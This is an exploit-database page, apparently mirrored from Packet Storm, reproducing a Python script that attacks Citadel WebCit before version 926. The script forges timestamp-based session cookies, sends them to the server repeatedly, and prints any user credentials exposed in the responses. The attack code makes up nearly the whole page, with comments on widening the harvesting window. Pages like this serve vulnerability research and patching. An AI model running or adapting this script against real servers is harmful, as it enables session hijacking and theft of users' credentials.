Lucene search
K

Citadel WebCit Session Hijacking

🗓️ 30 Oct 2020 00:00:00Reported by Simone QuatriniType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 688 Views

Citadel WebCit Session Hijacking Exploi

Code
`# Exploit Title: Citadel WebCit < 926 - Session Hijacking Exploit  
# Exploit Author: Simone Quatrini  
# Version: 926  
  
#!/usr/bin/env python3  
import argparse  
import requests  
import time  
import sys  
from requests.packages.urllib3.exceptions import InsecureRequestWarning  
  
  
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)  
  
  
parser = argparse.ArgumentParser(description="Webcit <= 926 Session Hijacking")  
parser.add_argument('--url', action='store', dest='url', required=True, help="Full URL and port e.g.: http://192.168.1.111:8080/")  
parser.add_argument('--verbose', '-v', action='store_true', required=False, help="Shows the full response")  
args = parser.parse_args()  
  
url = args.url  
verbose = args.verbose  
  
  
def check_endpoint(url):  
headers = {'User-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36'}  
response = requests.get(url+'/dotskip?room=_BASEROOM_', headers=headers, verify=False)  
if response.status_code == 200:  
print("[+] WebCit is reachable\n")  
else:  
print("\n[-] WebCit response code: ", response.status_code)  
sys.exit()  
  
def harvesting(url, verbose):  
#Current Timestamp  
epoch_time = int(time.time())  
#harvesting technique only search for user that logged-in within the last ~20 minutes.  
#increase the search_back_in variable's number to search even backwards (it will require more time and requests)  
#Also, make sure that you're using the same timezone of the server  
search_back_in = 999  
print("[/] Credential harvesting in progress...")  
while search_back_in > 0:  
payload = str(epoch_time-search_back_in)+'|||||'  
payload_hex = payload.encode(encoding='utf_8').hex()  
headers = {'User-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36','Cookie':'webcit='+payload_hex+''}  
response = requests.get(url+'/dotskip?room=_BASEROOM_', headers=headers, verify=False)  
try:  
cookievalue = bytes.fromhex(response.cookies['webcit'])  
cookievalue = cookievalue.decode(encoding='utf_8')  
parts = cookievalue.split('|')  
  
if ((len(parts[1])) and (len(parts[2]))):  
print("Credential found: ", cookievalue)  
  
except:  
if(verbose):  
print("[-] Invalid returned cookie value not valid, skipping")  
search_back_in = search_back_in - 1  
print("[+] Credential harvesting done.")  
  
# Default actions if only '--url' is passed  
check_endpoint(url)  
harvesting(url, verbose)  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation